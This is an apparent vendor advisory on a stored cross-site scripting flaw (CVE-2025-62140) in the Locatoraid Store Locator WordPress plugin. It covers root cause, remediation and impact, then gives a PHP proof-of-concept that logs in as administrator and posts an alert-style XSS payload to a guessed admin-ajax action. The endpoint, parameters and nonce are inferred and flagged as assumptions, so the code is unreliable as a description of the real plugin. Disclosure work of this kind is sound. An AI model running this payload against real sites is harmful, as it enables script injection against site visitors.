Atomic Edge analysis of CVE-2025-62140 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Locatoraid Store Locator WordPress plugin version 3.9.65 and earlier. The vulnerability affects plugin functionality where administrator-level users can inject malicious scripts. These scripts persist in the database and execute when other users view compromised pages. The CVSS score of 4.4 reflects its limited scope, requiring specific WordPress configurations (multisite or disabled unfiltered_html) and high-privilege access.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping (CWE-79). The plugin likely fails to properly sanitize user-supplied data before storing it in the database or escapes it before rendering in browser contexts. This conclusion is inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation. The vulnerability manifests only when WordPress’s unfiltered_html capability is disabled, indicating the plugin relies on WordPress’s default content filtering rather than implementing its own robust sanitization.
Exploitation requires an attacker with administrator privileges. The attacker would likely target plugin-specific administration interfaces, such as store location creation or management forms. These interfaces probably submit data via WordPress AJAX handlers (admin-ajax.php) or admin POST endpoints (admin-post.php) using actions prefixed with ‘locatoraid_’. A typical payload would inject JavaScript within HTML attributes or script tags, for example 
. The stored payload then executes when any user views the affected store locator page.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all user-controlled data using WordPress functions like sanitize_text_field() or wp_kses() before database storage. Additionally, the plugin must escape all dynamic output with functions like esc_html() or esc_attr() during page rendering. WordPress nonce verification should also be enforced on all form submissions to prevent CSRF attacks that could facilitate XSS injection.
Successful exploitation allows attackers to perform actions within the victim’s browser context. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. In multisite installations, a compromised administrator could target the entire network. The stored nature of the vulnerability means a single injection affects all subsequent page visitors until the malicious content is removed from the database.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62140 - Locatoraid Store Locator <= 3.9.65 - Authenticated (Administrator+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-62140
* Assumptions:
* 1. The plugin uses WordPress AJAX handlers with action parameter 'locatoraid_*'
* 2. Store location management endpoints accept unsanitized HTML input
* 3. Administrator credentials are available
* 4. Target site has unfiltered_html disabled or is a multisite installation
*/
$target_url = 'https://example.com';
$username = 'admin';
$password = 'password';
// XSS payload to inject
$payload = '<img src=x onerror="alert(`XSS via CVE-2025-62140`)">';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded'
]
]);
$response = curl_exec($ch);
// Check login success by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Attempt to exploit via assumed AJAX endpoint
// Based on plugin slug pattern, likely action is 'locatoraid_save_location' or similar
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'locatoraid_save_location',
'location_name' => 'Malicious Store',
'location_address' => $payload, // Injected payload
'nonce' => 'inferred_nonce_value' // Would need valid nonce in real scenario
])
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Verify injection by checking response
if (strpos($ajax_response, 'success') !== false) {
echo 'Payload injected successfully. Visit store locator page to trigger XSS.';
} else {
echo 'Injection may have failed. Actual endpoint/parameters may differ.';
}
?>
